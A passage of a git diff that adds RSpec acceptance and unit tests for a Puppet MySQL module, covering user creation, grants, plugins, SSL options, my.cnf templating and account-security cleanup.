+ mysql_user { "web@${dbSubnet}":
+ ensure => present,
+ }
+ mysql_grant { "web@${dbSubnet}/*.*":
+ user => "web@${dbSubnet}",
+ require => Mysql_user["web@${dbSubnet}"],
+ }
+ mysql_user { "web@${fqdn}":
+ ensure => present,
+ }
+ mysql_grant { "web@${fqdn}/*.*":
+ user => "web@${fqdn}",
+ require => Mysql_user["web@${fqdn}"],
+ }
+ mysql_user { 'web@localhost':
+ ensure => present,
+ }
+ mysql_grant { 'web@localhost/*.*':
+ user => 'web@localhost',
+ require => Mysql_user['web@localhost'],
+ }
+ MANIFEST
+ it 'setup mysql::server' do
+ apply_manifest(pp, catch_failures: true)
+ apply_manifest(pp, catch_changes: true)
+ end
+ end
+
+ describe 'lower case privileges' do
+ pp_one = <<-MANIFEST
+ mysql_user { 'lowercase@localhost':
+ ensure => present,
+ }
+ mysql_grant { 'lowercase@localhost/*.*':
+ user => 'lowercase@localhost',
+ privileges => 'ALL',
+ table => '*.*',
+ require => Mysql_user['lowercase@localhost'],
+ }
+ MANIFEST
+ it 'create ALL privs' do
+ apply_manifest(pp_one, catch_failures: true)
+ end
+
+ pp_two = <<-MANIFEST
+ mysql_user { 'lowercase@localhost':
+ ensure => present,
+ }
+ mysql_grant { 'lowercase@localhost/*.*':
+ user => 'lowercase@localhost',
+ privileges => 'all',
+ table => '*.*',
+ require => Mysql_user['lowercase@localhost'],
+ }
+ MANIFEST
+ it 'create lowercase all privs' do
+ expect(apply_manifest(pp_two, catch_failures: true).exit_code).to eq(0)
+ end
+ end
+
+ describe 'adding procedure privileges' do
+ pp = <<-MANIFEST
+ exec { 'simpleproc-create':
+ command => 'mysql --user="root" --password="password" --database=mysql --delimiter="//" -NBe "CREATE PROCEDURE simpleproc (OUT param1 INT) BEGIN SELECT COUNT(*) INTO param1 FROM t; end//"',
+ path => '/usr/bin/',
+ before => Mysql_user['test2@tester'],
+ }
+ mysql_user { 'test2@tester':
+ ensure => present,
+ }
+ mysql_grant { 'test2@tester/PROCEDURE mysql.simpleproc':
+ ensure => 'present',
+ table => 'PROCEDURE mysql.simpleproc',
+ user => 'test2@tester',
+ privileges => ['EXECUTE'],
+ require => Mysql_user['test2@tester'],
+ }
+ MANIFEST
+ it 'works without errors' do
+ apply_manifest(pp, catch_failures: true)
+ end
+
+ it 'finds the user #stdout' do
+ shell('mysql -NBe "SHOW GRANTS FOR test2@tester"') do |r|
+ expect(r.stdout).to match(%r{GRANT EXECUTE ON PROCEDURE `mysql`.`simpleproc` TO 'test2'@'tester'})
+ end
+ end
+ it 'finds the user #stderr' do
+ shell('mysql -NBe "SHOW GRANTS FOR test2@tester"') do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+
+ describe 'adding function privileges' do
+ it 'works without errors' do
+ pp = <<-EOS
+ exec { 'simplefunc-create':
+ command => '/usr/bin/mysql --user="root" --password="password" --database=mysql -NBe "CREATE FUNCTION simplefunc (s CHAR(20)) RETURNS CHAR(50) DETERMINISTIC RETURN CONCAT(\\'Hello, \\', s, \\'!\\')"',
+ before => Mysql_user['test3@tester'],
+ }
+
+ mysql_user { 'test3@tester':
+ ensure => 'present',
+ }
+
+ mysql_grant { 'test3@tester/FUNCTION mysql.simplefunc':
+ ensure => 'present',
+ table => 'FUNCTION mysql.simplefunc',
+ user => 'test3@tester',
+ privileges => ['EXECUTE'],
+ require => Mysql_user['test3@tester'],
+ }
+ EOS
+
+ apply_manifest(pp, catch_failures: true)
+ end
+ # rubocop:enable RSpec/ExampleLength
+ it 'finds the user' do
+ shell('mysql -NBe "SHOW GRANTS FOR test3@tester"') do |r|
+ expect(r.stdout).to match(%r{GRANT EXECUTE ON FUNCTION `mysql`.`simplefunc` TO 'test3'@'tester'})
+ expect(r.stderr).to be_empty
+ end
+ end
+ # rubocop:enable RSpec/MultipleExpectations
+ end
+
+ describe 'proxy privilieges' do
+ pre_run
+
+ describe 'adding proxy privileges', if: version_is_greater_than('5.5.0') do
+ pp = <<-MANIFEST
+ mysql_user { 'proxy1@tester':
+ ensure => present,
+ }
+ mysql_grant { 'proxy1@tester/proxy_user@proxy_host':
+ ensure => 'present',
+ table => 'proxy_user@proxy_host',
+ user => 'proxy1@tester',
+ privileges => ['PROXY'],
+ require => Mysql_user['proxy1@tester'],
+ }
+ MANIFEST
+ it 'works without errors when version greater than 5.5.0' do
+ apply_manifest(pp, catch_failures: true)
+ end
+
+ it 'finds the user #stdout' do
+ shell('mysql -NBe "SHOW GRANTS FOR proxy1@tester"') do |r|
+ expect(r.stdout).to match(%r{GRANT PROXY ON 'proxy_user'@'proxy_host' TO 'proxy1'@'tester'})
+ end
+ end
+ it 'finds the user #stderr' do
+ shell('mysql -NBe "SHOW GRANTS FOR proxy1@tester"') do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+
+ describe 'removing proxy privileges', if: version_is_greater_than('5.5.0') do
+ pp = <<-MANIFEST
+ mysql_user { 'proxy1@tester':
+ ensure => present,
+ }
+ mysql_grant { 'proxy1@tester/proxy_user@proxy_host':
+ ensure => 'absent',
+ table => 'proxy_user@proxy_host',
+ user => 'proxy1@tester',
+ privileges => ['PROXY'],
+ require => Mysql_user['proxy1@tester'],
+ }
+ MANIFEST
+ it 'works without errors' do
+ apply_manifest(pp, catch_failures: true)
+ end
+
+ it 'finds the user #stdout' do
+ shell('mysql -NBe "SHOW GRANTS FOR proxy1@tester"') do |r|
+ expect(r.stdout).not_to match(%r{GRANT PROXY ON 'proxy_user'@'proxy_host' TO 'proxy1'@'tester'})
+ end
+ end
+ it 'finds the user #stderr' do
+ shell('mysql -NBe "SHOW GRANTS FOR proxy1@tester"') do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+
+ describe 'adding proxy privileges with other privileges', if: version_is_greater_than('5.5.0') do
+ pp = <<-MANIFEST
+ mysql_user { 'proxy2@tester':
+ ensure => present,
+ }
+ mysql_grant { 'proxy2@tester/proxy_user@proxy_host':
+ ensure => 'present',
+ table => 'proxy_user@proxy_host',
+ user => 'proxy2@tester',
+ privileges => ['PROXY', 'SELECT'],
+ require => Mysql_user['proxy2@tester'],
+ }
+ MANIFEST
+ it 'fails' do
+ expect(apply_manifest(pp, expect_failures: true).stderr).to match(%r{`privileges` `parameter`: PROXY can only be specified by itself})
+ end
+
+ it 'does not find the user' do
+ expect(shell('mysql -NBe "SHOW GRANTS FOR proxy2@tester"', acceptable_exit_codes: 1).stderr).to match(%r{There is no such grant defined for user 'proxy2' on host 'tester'})
+ end
+ end
+
+ describe 'adding proxy privileges with mysql version less than 5.5.0', unless: version_is_greater_than('5.5.0') do
+ pp = <<-MANIFEST
+ mysql_user { 'proxy3@tester':
+ ensure => present,
+ }
+ mysql_grant { 'proxy3@tester/proxy_user@proxy_host':
+ ensure => 'present',
+ table => 'proxy_user@proxy_host',
+ user => 'proxy3@tester',
+ privileges => ['PROXY', 'SELECT'],
+ require => Mysql_user['proxy3@tester'],
+ }
+ MANIFEST
+ it 'fails' do
+ expect(apply_manifest(pp, expect_failures: true).stderr).to match(%r{PROXY user not supported on mysql versions < 5\.5\.0}i)
+ end
+
+ it 'does not find the user' do
+ expect(shell('mysql -NBe "SHOW GRANTS FOR proxy2@tester"', acceptable_exit_codes: 1).stderr).to match(%r{There is no such grant defined for user 'proxy2' on host 'tester'})
+ end
+ end
+
+ describe 'adding proxy privileges with invalid proxy user', if: version_is_greater_than('5.5.0') do
+ pp = <<-MANIFEST
+ mysql_user { 'proxy3@tester':
+ ensure => present,
+ }
+ mysql_grant { 'proxy3@tester/invalid_proxy_user':
+ ensure => 'present',
+ table => 'invalid_proxy_user',
+ user => 'proxy3@tester',
+ privileges => ['PROXY'],
+ require => Mysql_user['proxy3@tester'],
+ }
+ MANIFEST
+ it 'fails' do
+ expect(apply_manifest(pp, expect_failures: true).stderr).to match(%r{`table` `property` for PROXY should be specified as proxy_user@proxy_host.})
+ end
+
+ it 'does not find the user' do
+ expect(shell('mysql -NBe "SHOW GRANTS FOR proxy3@tester"', acceptable_exit_codes: 1).stderr).to match(%r{There is no such grant defined for user 'proxy3' on host 'tester'})
+ end
+ end
+ end
+
+ describe 'grants with skip-name-resolve specified' do
+ pp_one = <<-MANIFEST
+ class { 'mysql::server':
+ override_options => {
+ 'mysqld' => {'skip-name-resolve' => true}
+ },
+ restart => true,
+ }
+ MANIFEST
+ it 'setup mysql::server' do
+ apply_manifest(pp_one, catch_failures: true)
+ end
+
+ pp_two = <<-MANIFEST
+ mysql_user { 'test@fqdn.com':
+ ensure => present,
+ }
+ mysql_grant { 'test@fqdn.com/test.*':
+ ensure => 'present',
+ table => 'test.*',
+ user => 'test@fqdn.com',
+ privileges => 'ALL',
+ require => Mysql_user['test@fqdn.com'],
+ }
+ mysql_user { 'test@192.168.5.7':
+ ensure => present,
+ }
+ mysql_grant { 'test@192.168.5.7/test.*':
+ ensure => 'present',
+ table => 'test.*',
+ user => 'test@192.168.5.7',
+ privileges => 'ALL',
+ require => Mysql_user['test@192.168.5.7'],
+ }
+ MANIFEST
+ it 'applies' do
+ apply_manifest(pp_two, catch_failures: true)
+ end
+
+ it 'fails with fqdn' do
+ pre_run
+ unless version_is_greater_than('5.7.0')
+ expect(shell('mysql -NBe "SHOW GRANTS FOR test@fqdn.com"', acceptable_exit_codes: 1).stderr).to match(%r{There is no such grant defined for user 'test' on host 'fqdn.com'})
+ end
+ end
+
+ it 'finds ipv4 #stdout' do
+ shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'192.168.5.7'\"") do |r|
+ expect(r.stdout).to match(%r{GRANT ALL PRIVILEGES ON `test`.* TO 'test'@'192.168.5.7'})
+ end
+ end
+ it 'finds ipv4 #stderr' do
+ shell("mysql -NBe \"SHOW GRANTS FOR 'test'@'192.168.5.7'\"") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+
+ pp_three = <<-MANIFEST
+ mysql_user { 'test@fqdn.com':
+ ensure => present,
+ }
+ mysql_grant { 'test@fqdn.com/test.*':
+ ensure => 'present',
+ table => 'test.*',
+ user => 'test@fqdn.com',
+ privileges => 'ALL',
+ require => Mysql_user['test@fqdn.com'],
+ }
+ MANIFEST
+ it 'fails to execute while applying' do
+ mysql_cmd = shell('which mysql').stdout.chomp
+ shell("mv #{mysql_cmd} #{mysql_cmd}.bak")
+ expect(apply_manifest(pp_three, expect_failures: true).stderr).to match(%r{Could not find a suitable provider for mysql_grant})
+ shell("mv #{mysql_cmd}.bak #{mysql_cmd}")
+ end
+
+ pp_four = <<-MANIFEST
+ class { 'mysql::server':
+ restart => true,
+ }
+ MANIFEST
+ it 'reset mysql::server config' do
+ apply_manifest(pp_four, catch_failures: true)
+ end
+ end
+
+ describe 'adding privileges to specific table' do
+ # Using puppet_apply as a helper
+ pp_one = <<-MANIFEST
+ class { 'mysql::server': override_options => { 'root_password' => 'password' } }
+ MANIFEST
+ it 'setup mysql server' do
+ apply_manifest(pp_one, catch_failures: true)
+ end
+
+ pp_two = <<-MANIFEST
+ mysql_user { 'test@localhost':
+ ensure => present,
+ }
+ mysql_grant { 'test@localhost/grant_spec_db.grant_spec_table':
+ user => 'test@localhost',
+ privileges => ['SELECT'],
+ table => 'grant_spec_db.grant_spec_table',
+ require => Mysql_user['test@localhost'],
+ }
+ MANIFEST
+ it 'creates grant on missing table will fail' do
+ expect(apply_manifest(pp_two, expect_failures: true).stderr).to match(%r{Table 'grant_spec_db\.grant_spec_table' doesn't exist})
+ end
+
+ pp_three = <<-MANIFEST
+ file { '/tmp/grant_spec_table.sql':
+ ensure => file,
+ content => 'CREATE TABLE grant_spec_table (id int);',
+ before => Mysql::Db['grant_spec_db'],
+ }
+ mysql::db { 'grant_spec_db':
+ user => 'root1',
+ password => 'password',
+ sql => '/tmp/grant_spec_table.sql',
+ }
+ MANIFEST
+ it 'creates table' do
+ apply_manifest(pp_three, catch_failures: true)
+ end
+
+ it 'has the table' do
+ expect(shell("mysql -e 'show tables;' grant_spec_db|grep grant_spec_table").exit_code).to be_zero
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_plugin_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_plugin_spec.rb
new file mode 100644
index 000000000..463523a8e
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_plugin_spec.rb
@@ -0,0 +1,78 @@
+require 'spec_helper_acceptance'
+
+# Different operating systems (and therefore different versions/forks
+# of mysql) have varying levels of support for plugins and have
+# different plugins available. Choose a plugin that works or don't try
+# to test plugins if not available.
+if fact('osfamily') =~ %r{RedHat}
+ if fact('operatingsystemrelease') =~ %r{^5\.}
+ plugin = nil # Plugins not supported on mysql on RHEL 5
+ elsif fact('operatingsystemrelease') =~ %r{^6\.}
+ plugin = 'example'
+ plugin_lib = 'ha_example.so'
+ elsif fact('operatingsystemrelease') =~ %r{^7\.}
+ plugin = 'pam'
+ plugin_lib = 'auth_pam.so'
+ end
+elsif fact('osfamily') =~ %r{Debian}
+ if fact('operatingsystem') =~ %r{Debian}
+ if fact('operatingsystemrelease') =~ %r{^6\.}
+ # Only available plugin is innodb which is already loaded and not unload- or reload-able
+ plugin = nil
+ elsif fact('operatingsystemrelease') =~ %r{^7\.}
+ plugin = 'example'
+ plugin_lib = 'ha_example.so'
+ end
+ elsif fact('operatingsystem') =~ %r{Ubuntu}
+ if fact('operatingsystemrelease') =~ %r{^10\.04}
+ # Only available plugin is innodb which is already loaded and not unload- or reload-able
+ plugin = nil
+ elsif fact('operatingsystemrelease') =~ %r{^16\.04}
+ # On Xenial running 5.7.12, the example plugin does not appear to be available.
+ plugin = 'validate_password'
+ plugin_lib = 'validate_password.so'
+ else
+ plugin = 'example'
+ plugin_lib = 'ha_example.so'
+ end
+ end
+elsif fact('osfamily') =~ %r{Suse}
+ plugin = nil # Plugin library path is broken on Suse http://lists.opensuse.org/opensuse-bugs/2013-08/msg01123.html
+end
+
+describe 'mysql_plugin' do
+ if plugin # if plugins are supported
+ describe 'setup' do
+ it 'works with no errors' do
+ pp = <<-MANIFEST
+ class { 'mysql::server': }
+ MANIFEST
+
+ apply_manifest(pp, catch_failures: true)
+ end
+ end
+
+ describe 'load plugin' do
+ pp = <<-MANIFEST
+ mysql_plugin { #{plugin}:
+ ensure => present,
+ soname => '#{plugin_lib}',
+ }
+ MANIFEST
+ it 'works without errors' do
+ apply_manifest(pp, catch_failures: true)
+ end
+
+ it 'finds the plugin #stdout' do
+ shell("mysql -NBe \"select plugin_name from information_schema.plugins where plugin_name='#{plugin}'\"") do |r|
+ expect(r.stdout).to match(%r{^#{plugin}$}i)
+ end
+ end
+ it 'finds the plugin #stderr' do
+ shell("mysql -NBe \"select plugin_name from information_schema.plugins where plugin_name='#{plugin}'\"") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_user_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_user_spec.rb
new file mode 100644
index 000000000..507fcf881
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_user_spec.rb
@@ -0,0 +1,214 @@
+require 'spec_helper_acceptance'
+require_relative '../mysql_helper.rb'
+
+describe 'mysql_user' do
+ describe 'setup' do
+ pp_one = <<-MANIFEST
+ class { 'mysql::server': }
+ MANIFEST
+ it 'works with no errors' do
+ apply_manifest(pp_one, catch_failures: true)
+ end
+ end
+
+ context 'using ashp@localhost' do
+ describe 'adding user' do
+ pp_two = <<-MANIFEST
+ mysql_user { 'ashp@localhost':
+ password_hash => '*F9A8E96790775D196D12F53BCC88B8048FF62ED5',
+ }
+ MANIFEST
+ it 'works without errors' do
+ apply_manifest(pp_two, catch_failures: true)
+ end
+
+ it 'finds the user #stdout' do
+ shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'ashp@localhost'\"") do |r|
+ expect(r.stdout).to match(%r{^1$})
+ end
+ end
+ it 'finds the user #stderr' do
+ shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'ashp@localhost'\"") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+
+ it 'has no SSL options #stdout' do
+ shell("mysql -NBe \"select SSL_TYPE from mysql.user where CONCAT(user, '@', host) = 'ashp@localhost'\"") do |r|
+ expect(r.stdout).to match(%r{^\s*$})
+ end
+ end
+ it 'has no SSL options #stderr' do
+ shell("mysql -NBe \"select SSL_TYPE from mysql.user where CONCAT(user, '@', host) = 'ashp@localhost'\"") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+
+ pre_run
+ describe 'changing authentication plugin', if: version_is_greater_than('5.5.0') do
+ it 'works without errors' do
+ pp = <<-EOS
+ mysql_user { 'ashp@localhost':
+ plugin => 'auth_socket',
+ }
+ EOS
+
+ apply_manifest(pp, catch_failures: true)
+ end
+
+ it 'has the correct plugin' do
+ shell("mysql -NBe \"select plugin from mysql.user where CONCAT(user, '@', host) = 'ashp@localhost'\"") do |r|
+ expect(r.stdout.rstrip).to eq('auth_socket')
+ expect(r.stderr).to be_empty
+ end
+ end
+
+ it 'does not have a password' do
+ pre_run
+ table = if version_is_greater_than('5.7.0')
+ 'authentication_string'
+ else
+ 'password'
+ end
+ shell("mysql -NBe \"select #{table} from mysql.user where CONCAT(user, '@', host) = 'ashp@localhost'\"") do |r|
+ expect(r.stdout.rstrip).to be_empty
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+ # rubocop:enable RSpec/ExampleLength, RSpec/MultipleExpectations
+ end
+
+ context 'using ashp-dash@localhost' do
+ describe 'adding user' do
+ pp_three = <<-MANIFEST
+ mysql_user { 'ashp-dash@localhost':
+ password_hash => '*F9A8E96790775D196D12F53BCC88B8048FF62ED5',
+ }
+ MANIFEST
+ it 'works without errors' do
+ apply_manifest(pp_three, catch_failures: true)
+ end
+
+ it 'finds the user #stdout' do
+ shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'ashp-dash@localhost'\"") do |r|
+ expect(r.stdout).to match(%r{^1$})
+ end
+ end
+ it 'finds the user #stderr' do
+ shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'ashp-dash@localhost'\"") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+ end
+
+ context 'using ashp@LocalHost' do
+ describe 'adding user' do
+ pp_four = <<-MANIFEST
+ mysql_user { 'ashp@LocalHost':
+ password_hash => '*F9A8E96790775D196D12F53BCC88B8048FF62ED5',
+ }
+ MANIFEST
+ it 'works without errors' do
+ apply_manifest(pp_four, catch_failures: true)
+ end
+
+ it 'finds the user #stdout' do
+ shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'ashp@localhost'\"") do |r|
+ expect(r.stdout).to match(%r{^1$})
+ end
+ end
+ it 'finds the user #stderr' do
+ shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'ashp@localhost'\"") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+ end
+ context 'using resource should throw no errors' do
+ describe 'find users' do
+ it do
+ on default, puppet('resource mysql_user'), catch_failures: true do |r|
+ expect(r.stdout).not_to match(%r{Error:})
+ end
+ end
+ it do
+ on default, puppet('resource mysql_user'), catch_failures: true do |r|
+ expect(r.stdout).not_to match(%r{must be properly quoted, invalid character:})
+ end
+ end
+ end
+ end
+ context 'using user-w-ssl@localhost with SSL' do
+ describe 'adding user' do
+ pp_five = <<-MANIFEST
+ mysql_user { 'user-w-ssl@localhost':
+ password_hash => '*F9A8E96790775D196D12F53BCC88B8048FF62ED5',
+ tls_options => ['SSL'],
+ }
+ MANIFEST
+ it 'works without errors' do
+ apply_manifest(pp_five, catch_failures: true)
+ end
+
+ it 'finds the user #stdout' do
+ shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'user-w-ssl@localhost'\"") do |r|
+ expect(r.stdout).to match(%r{^1$})
+ end
+ end
+ it 'finds the user #stderr' do
+ shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'user-w-ssl@localhost'\"") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+
+ it 'shows correct ssl_type #stdout' do
+ shell("mysql -NBe \"select SSL_TYPE from mysql.user where CONCAT(user, '@', host) = 'user-w-ssl@localhost'\"") do |r|
+ expect(r.stdout).to match(%r{^ANY$})
+ end
+ end
+ it 'shows correct ssl_type #stderr' do
+ shell("mysql -NBe \"select SSL_TYPE from mysql.user where CONCAT(user, '@', host) = 'user-w-ssl@localhost'\"") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+ end
+ context 'using user-w-x509@localhost with X509' do
+ describe 'adding user' do
+ pp_six = <<-MANIFEST
+ mysql_user { 'user-w-x509@localhost':
+ password_hash => '*F9A8E96790775D196D12F53BCC88B8048FF62ED5',
+ tls_options => ['X509'],
+ }
+ MANIFEST
+ it 'works without errors' do
+ apply_manifest(pp_six, catch_failures: true)
+ end
+
+ it 'finds the user #stdout' do
+ shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'user-w-x509@localhost'\"") do |r|
+ expect(r.stdout).to match(%r{^1$})
+ end
+ end
+ it 'finds the user #stderr' do
+ shell("mysql -NBe \"select '1' from mysql.user where CONCAT(user, '@', host) = 'user-w-x509@localhost'\"") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+
+ it 'shows correct ssl_type #stdout' do
+ shell("mysql -NBe \"select SSL_TYPE from mysql.user where CONCAT(user, '@', host) = 'user-w-x509@localhost'\"") do |r|
+ expect(r.stdout).to match(%r{^X509$})
+ end
+ end
+ it 'shows correct ssl_type #stderr' do
+ shell("mysql -NBe \"select SSL_TYPE from mysql.user where CONCAT(user, '@', host) = 'user-w-x509@localhost'\"") do |r|
+ expect(r.stderr).to be_empty
+ end
+ end
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/graceful_failures_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/graceful_failures_spec.rb
new file mode 100644
index 000000000..22a677b2f
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/graceful_failures_spec.rb
@@ -0,0 +1,16 @@
+require 'spec_helper'
+
+describe 'mysql::server' do
+ context 'on an unsupported OS' do
+ let(:facts) do
+ {
+ osfamily: 'UNSUPPORTED',
+ operatingsystem: 'UNSUPPORTED',
+ }
+ end
+
+ it 'gracefully fails' do
+ is_expected.to compile.and_raise_error(%r{Unsupported platform:})
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mycnf_template_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mycnf_template_spec.rb
new file mode 100644
index 000000000..63ec2e32d
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mycnf_template_spec.rb
@@ -0,0 +1,85 @@
+require 'spec_helper'
+
+describe 'mysql::server' do
+ on_supported_os.each do |os, facts|
+ context "my.cnf template - on #{os}" do
+ let(:facts) do
+ facts.merge(root_home: '/root')
+ end
+
+ context 'normal entry' do
+ let(:params) { { override_options: { 'mysqld' => { 'socket' => '/var/lib/mysql/mysql.sock' } } } }
+
+ it do
+ is_expected.to contain_file('mysql-config-file').with(mode: '0644',
+ selinux_ignore_defaults: true).with_content(%r{socket = \/var\/lib\/mysql\/mysql.sock})
+ end
+ end
+
+ describe 'array entry' do
+ let(:params) { { override_options: { 'mysqld' => { 'replicate-do-db' => %w[base1 base2] } } } }
+
+ it do
+ is_expected.to contain_file('mysql-config-file').with_content(
+ %r{.*replicate-do-db = base1\nreplicate-do-db = base2.*},
+ )
+ end
+ end
+
+ describe 'skip-name-resolve set to an empty string' do
+ let(:params) { { override_options: { 'mysqld' => { 'skip-name-resolve' => '' } } } }
+
+ it { is_expected.to contain_file('mysql-config-file').with_content(%r{^skip-name-resolve$}) }
+ end
+
+ describe 'ssl set to true' do
+ let(:params) { { override_options: { 'mysqld' => { 'ssl' => true } } } }
+
+ it { is_expected.to contain_file('mysql-config-file').with_content(%r{ssl}) }
+ it { is_expected.to contain_file('mysql-config-file').without_content(%r{ssl = true}) }
+ end
+
+ describe 'ssl set to false' do
+ let(:params) { { override_options: { 'mysqld' => { 'ssl' => false } } } }
+
+ it { is_expected.to contain_file('mysql-config-file').with_content(%r{ssl = false}) }
+ end
+
+ # ssl-disable (and ssl) are special cased within mysql.
+ describe 'possibility of disabling ssl completely' do
+ let(:params) { { override_options: { 'mysqld' => { 'ssl' => true, 'ssl-disable' => true } } } }
+
+ it { is_expected.to contain_file('mysql-config-file').without_content(%r{ssl = true}) }
+ end
+
+ describe 'a non ssl option set to true' do
+ let(:params) { { override_options: { 'mysqld' => { 'test' => true } } } }
+
+ it { is_expected.to contain_file('mysql-config-file').with_content(%r{^test$}) }
+ it { is_expected.to contain_file('mysql-config-file').without_content(%r{test = true}) }
+ end
+
+ context 'with includedir' do
+ let(:params) { { includedir: '/etc/my.cnf.d' } }
+
+ it 'makes the directory' do
+ is_expected.to contain_file('/etc/my.cnf.d').with(ensure: :directory,
+ mode: '0755')
+ end
+
+ it { is_expected.to contain_file('mysql-config-file').with_content(%r{!includedir}) }
+ end
+
+ context 'without includedir' do
+ let(:params) { { includedir: '' } }
+
+ it 'shouldnt contain the directory' do
+ is_expected.not_to contain_file('mysql-config-file').with(ensure: :directory,
+ mode: '0755')
+ end
+
+ it { is_expected.to contain_file('mysql-config-file').without_content(%r{!includedir}) }
+ end
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_bindings_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_bindings_spec.rb
new file mode 100644
index 000000000..dba8672b1
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_bindings_spec.rb
@@ -0,0 +1,32 @@
+require 'spec_helper'
+
+describe 'mysql::bindings' do
+ on_supported_os.each do |os, facts|
+ context "on #{os}" do
+ let(:facts) do
+ facts.merge(root_home: '/root')
+ end
+
+ let(:params) do
+ {
+ 'java_enable' => true,
+ 'perl_enable' => true,
+ 'php_enable' => true,
+ 'python_enable' => true,
+ 'ruby_enable' => true,
+ 'client_dev' => true,
+ 'daemon_dev' => true,
+ 'client_dev_package_name' => 'libmysqlclient-devel',
+ 'daemon_dev_package_name' => 'mysql-devel',
+ }
+ end
+
+ it { is_expected.to contain_package('mysql-connector-java') }
+ it { is_expected.to contain_package('perl_mysql') }
+ it { is_expected.to contain_package('python-mysqldb') }
+ it { is_expected.to contain_package('ruby_mysql') }
+ it { is_expected.to contain_package('mysql-client_dev') }
+ it { is_expected.to contain_package('mysql-daemon_dev') }
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_client_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_client_spec.rb
new file mode 100644
index 000000000..6c651dcae
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_client_spec.rb
@@ -0,0 +1,35 @@
+require 'spec_helper'
+
+describe 'mysql::client' do
+ on_supported_os.each do |os, facts|
+ context "on #{os}" do
+ let(:facts) do
+ facts.merge(root_home: '/root')
+ end
+
+ context 'with defaults' do
+ it { is_expected.not_to contain_class('mysql::bindings') }
+ it { is_expected.to contain_package('mysql_client') }
+ end
+
+ context 'with bindings enabled' do
+ let(:params) { { bindings_enable: true } }
+
+ it { is_expected.to contain_class('mysql::bindings') }
+ it { is_expected.to contain_package('mysql_client') }
+ end
+
+ context 'with package_manage set to true' do
+ let(:params) { { package_manage: true } }
+
+ it { is_expected.to contain_package('mysql_client') }
+ end
+
+ context 'with package_manage set to false' do
+ let(:params) { { package_manage: false } }
+
+ it { is_expected.not_to contain_package('mysql_client') }
+ end
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_account_security_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_account_security_spec.rb
new file mode 100644
index 000000000..5b5e6a74b
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_account_security_spec.rb
@@ -0,0 +1,83 @@
+require 'spec_helper'
+
+describe 'mysql::server::account_security' do
+ on_supported_os.each do |os, facts|
+ context "on #{os}" do
+ let(:pre_condition) do
+ <<-EOF
+ anchor {'mysql::server::end': }
+ EOF
+ end
+
+ context 'with fqdn==myhost.mydomain' do
+ let(:facts) do
+ facts.merge(root_home: '/root',
+ fqdn: 'myhost.mydomain',
+ hostname: 'myhost')
+ end
+
+ ['root@myhost.mydomain',
+ 'root@127.0.0.1',
+ 'root@::1',
+ '@myhost.mydomain',
+ '@localhost',
+ '@%'].each do |user|
+ it "removes Mysql_User[#{user}]" do # rubocop:disable RSpec/RepeatedExample
+ is_expected.to contain_mysql_user(user).with_ensure('absent')
+ end
+ end
+
+ # When the hostname doesn't match the fqdn we also remove these.
+ # We don't need to test the inverse as when they match they are
+ # covered by the above list.
+ ['root@myhost', '@myhost'].each do |user|
+ it "removes Mysql_User[#{user}]" do # rubocop:disable RSpec/RepeatedExample
+ is_expected.to contain_mysql_user(user).with_ensure('absent')
+ end
+ end
+
+ it 'removes Mysql_database[test]' do
+ is_expected.to contain_mysql_database('test').with_ensure('absent')
+ end
+ end
+
+ context 'with fqdn==localhost' do
